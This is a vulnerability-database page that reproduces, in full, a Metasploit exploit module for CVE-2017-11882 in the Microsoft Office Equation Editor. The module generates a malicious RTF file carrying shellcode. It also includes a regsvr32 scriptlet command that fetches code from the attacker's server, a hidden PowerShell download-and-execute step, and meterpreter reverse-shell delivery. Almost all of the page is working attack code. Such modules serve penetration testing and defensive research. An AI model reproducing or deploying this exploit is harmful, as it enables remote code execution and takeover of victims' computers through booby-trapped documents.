Lucene search
K

Microsoft Office CVE-2017-11882

🗓️ 21 Nov 2017 19:47:02Reported by mumbai, embediType 
metasploit
 metasploit
🔗 www.rapid7.com👁 256 Views

Microsoft Office Equation Editor flaw allows arbitrary code executio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::FILEFORMAT


  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Microsoft Office CVE-2017-11882',
      'Description' => %q{
        Module exploits a flaw in how the Equation Editor that
        allows an attacker to execute arbitrary code in RTF files without
        interaction. The vulnerability is caused by the Equation Editor,
        to which fails to properly handle OLE objects in memory.
      },
      'Author' => ['mumbai', 'embedi'],
      'License' => MSF_LICENSE,
      'DisclosureDate' => '2017-11-15',
      'References' => [
        ['CVE', '2017-11882'],
        ['URL', 'http://web.archive.org/web/20211201000500/https://embedi.com/blog/skeleton-closet-ms-office-vulnerability-you-didnt-know-about'],
        ['URL', 'https://github.com/embedi/CVE-2017-11882']
      ],
      'Platform' => 'win',
      'Arch' => [ARCH_X86, ARCH_X64],
      'Targets' => [
        ['Microsoft Office', {} ],
      ],
      'DefaultTarget' => 0,
      'Payload' => {
        'DisableNops' => true
      },
      'Stance' => Msf::Exploit::Stance::Aggressive,
      'DefaultOptions' => {
        'EXITFUNC' => 'thread',
        'PAYLOAD' => 'windows/meterpreter/reverse_tcp'
      }
    ))

    register_options([
        OptString.new("FILENAME", [true, "Filename to save as, or inject", "msf.rtf"]),
        OptString.new("FOLDER_PATH", [false, "Path to file to inject", nil])
    ])
  end

  def retrieve_header(filename)
    if (not datastore['FOLDER_PATH'].nil?)
      path = "#{datastore['FOLDER_PATH']}/#{datastore['FILENAME']}"
    else
      path = nil
    end
    if (not path.nil?)
      if ::File.file?(path)
        File.open(path, 'rb') do |fd|
          header = fd.read(fd.stat.size).split('{\*\datastore').first
          header = header.to_s # otherwise I get nil class...
          print_status("Injecting #{path}...")
          return header
        end
      else
        header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
        header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
        header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
      end
    else
      header = '{\rtf1\ansi\ansicpg1252\deff0\nouicompat\deflang1033{\fonttbl{\f0\fnil\fcharset0 Calibri;}}' + "\n"
      header << '{\*\generator Riched20 6.3.9600}\viewkind4\uc1' + "\n"
      header << '\pard\sa200\sl276\slmult1\f0\fs22\lang9'
    end
    return header
  end



  def generate_rtf
    header = retrieve_header(datastore['FILENAME'])
    object_class = '{\object\objemb\objupdate{\*\objclass Equation.3}\objw380\objh260{\*\objdata '
    object_class << '01050000020000000b0000004571756174696f6e2e33000000000000000000000'
    object_class << 'c0000d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff'
    object_class << '09000600000000000000000000000100000001000000000000000010000002000'
    object_class << '00001000000feffffff0000000000000000ffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffdffffff040'
    object_class << '00000fefffffffefffffffeffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'ffffffffffffffffffffffffffffffffffffff52006f006f007400200045006e0'
    object_class << '07400720079000000000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000000000000000016000500ffffffffffffffff02000'
    object_class << '00002ce020000000000c0000000000000460000000000000000000000008020ce'
    object_class << 'a5613cd30103000000000200000000000001004f006c006500000000000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '000000000000000000000000000000000a000201ffffffffffffffffffffffff0'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '000000000000001400000000000000010043006f006d0070004f0062006a00000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '0000000000000000000000000000120002010100000003000000ffffffff00000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '0001000000660000000000000003004f0062006a0049006e0066006f000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000012000201ffffffff04000000ffffffff000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000003'
    object_class << '0000000600000000000000feffffff02000000fefffffffeffffff05000000060'
    object_class << '0000007000000feffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff'
    object_class << 'ffffff01000002080000000000000000000000000000000000000000000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << '00000100feff030a0000ffffffff02ce020000000000c00000000000004617000'
    object_class << '0004d6963726f736f6674204571756174696f6e20332e30000c00000044532045'
    object_class << '71756174696f6e000b0000004571756174696f6e2e3300f439b27100000000000'
    object_class << '00000000000000000000000000000000000000000000000000000000000000000'
    object_class << "00000300040000000000000000000000000000000000000000000000000000000"
    object_class << "000000000000000000000000000000000000000000000000000000000000000\n"


    shellcode = "\x1c\x00"                  #  0:   1c 00                   sbb    al,0x0
    shellcode << "\x00\x00"                 #  2:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x02\x00"                 #  4:   02 00                   add    al,BYTE PTR [eax]
    shellcode << "\x9e"                     #  6:   9e                      sahf
    shellcode << "\xc4\xa9\x00\x00\x00\x00" #  7:   c4 a9 00 00 00 00       les    ebp,FWORD PTR [ecx+0x0]
    shellcode << "\x00\x00"                 #  d:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\xc8"                 #  f:   00 c8                   add    al,cl
    shellcode << "\xa7"                     # 11:   a7                      cmps   DWORD PTR ds:[esi],DWORD PTR es:[edi]
    shellcode << "\\"                       # 12:   5c                      pop    esp
    shellcode << "\x00\xc4"                 # 13:   00 c4                   add    ah,al
    shellcode << "\xee"                     # 15:   ee                      out    dx,al
    shellcode << "["                        # 16:   5b                      pop    ebx
    shellcode << "\x00\x00"                 # 17:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\x00"                 # 19:   00 00                   add    BYTE PTR [eax],al
    shellcode << "\x00\x03"                 # 1b:   00 03                   add    BYTE PTR [ebx],al
    shellcode << "\x01\x01"                 # 1d:   01 01                   add    DWORD PTR [ecx],eax
    shellcode << "\x03\n"                   # 1f:   03 0a                   add    ecx,DWORD PTR [edx]
    shellcode << "\n\x01"                   # 21:   0a 01                   or     al,BYTE PTR [ecx]
    shellcode << "\x08ZZ"                   # 23:   08 5a 5a                or     BYTE PTR [edx+0x5a],bl
    shellcode << "\xB8\x44\xEB\x71\x12"     # 26:   b8 44 eb 71 12          mov    eax,0x1271eb44
    shellcode << "\xBA\x78\x56\x34\x12"     # 2b:   ba 78 56 34 12          mov    edx,0x12345678
    shellcode << "\x31\xD0"                 # 30:   31 d0                   xor    eax,edx
    shellcode << "\x8B\x08"                 # 32:   8b 08                   mov    ecx,DWORD PTR [eax]
    shellcode << "\x8B\x09"                 # 34:   8b 09                   mov    ecx,DWORD PTR [ecx]
    shellcode << "\x8B\x09"                 # 36:   8b 09                   mov    ecx,DWORD PTR [ecx]
    shellcode << "\x66\x83\xC1\x3C"         # 38:   66 83 c1 3c             add    cx,0x3c
    shellcode << "\x31\xDB"                 # 3c:   31 db                   xor    ebx,ebx
    shellcode << "\x53"                     # 3e:   53                      push   ebx
    shellcode << "\x51"                     # 3f:   51                      push   ecx
    shellcode << "\xBE\x64\x3E\x72\x12"     # 40:   be 64 3e 72 12          mov    esi,0x12723e64
    shellcode << "\x31\xD6"                 # 45:   31 d6                   xor    esi,edx
    shellcode << "\xFF\x16"                 # 47:   ff 16                   call   DWORD PTR [esi]
    shellcode << "\x53"                     # 49:   53                      push   ebx
    shellcode << "\x66\x83\xEE\x4C"         # 4a:   66 83 ee 4c             sub    si,0x4c
    shellcode << "\xFF\x10"                 # 4e:   ff 10                   call   DWORD PTR [eax]
    shellcode << "\x90"                     # 50:   90                      nop
    shellcode << "\x90"                     # 50:   90                      nop

    footer = '0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
    footer << '4500710075006100740069006F006E0020004E006100740069007600650000000'
    footer << '00000000000000000000000000000000000000000000000000000'
    footer << '000000000020000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000400'
    footer << '0000C5000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF00'
    footer << '000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000000000'
    footer << '000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000000000000000000000000000000000000000000000000FFFFFF'
    footer << 'FFFFFFFFFFFFFFFFFF000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '0000000000000FFFFFFFFFFFFFFFFFFFFFFFF0000000000000000'
    footer << '00000000000000000000000000000000000000000000000000000000000000000'
    footer << '00000000000000001050000050000000D0000004D45544146494C'
    footer << '4550494354003421000035FEFFFF9201000008003421CB010000010009000003C'
    footer << '500000002001C0000000000050000000902000000000500000002'
    footer << '0101000000050000000102FFFFFF00050000002E0118000000050000000B0200000000050000000C02A001201E1200000026060F001A00FFFFFFFF'
    footer << '000010000000C0FFFFFFC6FFFFFFE01D0000660100000B00000026060F000C004D61746854797065000020001C000000FB0280FE00000000000090'
    footer << '01000000000402001054696D6573204E657720526F6D616E00FEFFFFFF6B2C0A0700000A0000000000040000002D0100000C000000320A60019016'
    footer << '0A000000313131313131313131310C000000320A6001100F0A000000313131313131313131310C000000320A600190070A00000031313131313131'
    footer << '3131310C000000320A600110000A000000313131313131313131310A00000026060F000A00FFFFFFFF0100000000001C000000FB02100007000000'
    footer << '0000BC02000000000102022253797374656D000048008A0100000A000600000048008A01FFFFFFFF7CEF1800040000002D01010004000000F00100'
    footer << '00030000000000' + "\n"
    footer << '}{\result{\pict{\*\picprop}\wmetafile8\picw380\pich260\picwgoal380\pichgoal260' + "\n"
    footer << "0100090000039e00000002001c0000000000050000000902000000000500000002010100000005\n"
    footer << "0000000102ffffff00050000002e0118000000050000000b0200000000050000000c02a0016002\n"
    footer << "1200000026060f001a00ffffffff000010000000c0ffffffc6ffffff20020000660100000b0000\n"
    footer << "0026060f000c004d61746854797065000020001c000000fb0280fe000000000000900100000000\n"
    footer << "0402001054696d6573204e657720526f6d616e00feffffff5f2d0a6500000a0000000000040000\n"
    footer << "002d01000009000000320a6001100003000000313131000a00000026060f000a00ffffffff0100\n"
    footer << "000000001c000000fb021000070000000000bc02000000000102022253797374656d000048008a\n"
    footer << "0100000a000600000048008a01ffffffff6ce21800040000002d01010004000000f00100000300\n"
    footer << "00000000\n"
    footer << "}}}\n"
    footer << '\par}' + "\n"


    payload = shellcode
    payload += [0x00402114].pack("V")
    payload += "\x00" * 2
    payload += "regsvr32 /s /n /u /i:#{get_uri}.sct scrobj.dll"
    payload = (payload + ("\x00" * (197 - payload.length))).unpack('H*').first
    payload = header + object_class + payload + footer
    payload
  end



  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))
    else
      # Random filename to use, if there isn't anything set
      random = "#{rand_text_alphanumeric 8}.exe"
      # Set filename (Use random filename if empty)
      filename = datastore['BinaryEXE-FILENAME'].blank? ? random : datastore['BinaryEXE-FILENAME']

      # Set path (Use %TEMP% if empty)
      path = datastore['BinaryEXE-PATH'].blank? ? "$env:temp" : %Q('#{datastore['BinaryEXE-PATH']}')

      # Join Path and Filename
      file = %Q(echo (#{path}+'\\#{filename}'))

      # Generate download PowerShell command
      download_string = Rex::Powershell::PshMethods.download_run(url, file)
    end

    download_and_run = "#{ignore_cert}#{download_string}"

    # Generate main PowerShell command
    return generate_psh_command_line(noprofile: true, windowstyle: 'hidden', command: download_and_run)
  end

  def on_request_uri(cli, _request)
    if _request.raw_uri =~ /\.sct$/
      print_status("Handling request for .sct from #{cli.peerhost}")
      payload = gen_psh("#{get_uri}", "string")
      data = gen_sct_file(payload)
      send_response(cli, data, 'Content-Type' => 'text/plain')
    else
      print_status("Delivering payload to #{cli.peerhost}...")
      p = regenerate_payload(cli)
      data = cmd_psh_payload(p.encoded,
                       payload_instance.arch.first,
                       remove_comspec: true,
                       exec_in_place: true
      )
      send_response(cli, data, 'Content-Type' => 'application/octet-stream')
    end
  end


  def rand_class_id
    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
  end


  def gen_sct_file(command)
    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
    if command == ''
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
    # If a command is provided, tell the target system to execute it.
    else
      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
    end
  end


  def primer
    file_create(generate_rtf)
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Feb 2025 10:30Current
8.8High risk
Vulners AI Score8.8
CVSS 29.3
CVSS 3.17.8
EPSS0.99945
256